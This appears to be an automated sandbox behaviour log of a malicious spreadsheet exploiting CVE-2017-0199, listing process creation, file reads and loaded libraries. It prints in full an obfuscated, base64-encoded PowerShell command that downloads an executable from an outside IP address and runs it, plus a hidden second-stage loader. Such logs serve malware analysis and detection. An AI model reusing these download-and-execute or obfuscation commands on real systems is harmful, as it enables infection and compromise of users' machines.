Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................%n.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......8n.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......Dn.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................4.......Xn.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................en.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........n.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........n.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................n.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................o.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................o.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......4o.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......Co.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................Wo.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................fo.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................o.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................o.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........o.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................o.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........o.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........o.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........o.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................o.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................p.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................p.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................)p.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................5p.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................Gp.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Sp.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......rp.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........p.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........p.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........p.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........p.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........p.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........p.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........p.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........p.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................p.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................q.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................."q.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................6q.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Bq.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\SysWOW64\msiexec.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx ReversingLabs: Detection: 21%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYstEm32\windowSpoWerSHell\V1.0\pOWeRSHelL.exe" "POWeRShELL -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE ; iEX($(iEX('[sYsTem.TeXt.ENcOdiNG]'+[cHaR]58+[ChAR]0X3A+'Utf8.gETSTRing([SySTeM.cOnVERt]'+[chAr]0x3a+[ChaR]58+'FrOMbASE64StRInG('+[ChAr]0X22+'JFZrYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1iZXJERUZpbmlUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxtT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBna1ZRa2xsWixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga2hjcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga1ZQd3ZTLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWl5cVNOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKTmopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRkeklWbkpaQllrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFLeVYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVmthOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMjE0LzkwMi93YWxuZXh0LmV4ZSIsIiRFTnY6QVBQREFUQVx3bGFuZXh0LmV4ZSIsMCwwKTtzdEFSVC1zTGVFcCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[cHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6549.tmp" "c:\Users\user\AppData\Local\Temp\muz5o0kx\CSCE919D41A8D904501847FAAE39BA08A1.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\wlanext.exe "C:\Users\user\AppData\Roaming\wlanext.exe"
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYstEm32\windowSpoWerSHell\V1.0\pOWeRSHelL.exe" "POWeRShELL -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE ; iEX($(iEX('[sYsTem.TeXt.ENcOdiNG]'+[cHaR]58+[ChAR]0X3A+'Utf8.gETSTRing([SySTeM.cOnVERt]'+[chAr]0x3a+[ChaR]58+'FrOMbASE64StRInG('+[ChAr]0X22+'JFZrYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1iZXJERUZpbmlUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxtT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBna1ZRa2xsWixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga2hjcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga1ZQd3ZTLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWl5cVNOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKTmopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRkeklWbkpaQllrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFLeVYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVmthOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMjE0LzkwMi93YWxuZXh0LmV4ZSIsIiRFTnY6QVBQREFUQVx3bGFuZXh0LmV4ZSIsMCwwKTtzdEFSVC1zTGVFcCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[cHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\wlanext.exe "C:\Users\user\AppData\Roaming\wlanext.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6549.tmp" "c:\Users\user\AppData\Local\Temp\muz5o0kx\CSCE919D41A8D904501847FAAE39BA08A1.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) " Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe" Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msacm32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dnsapi.dll Jump to behavior
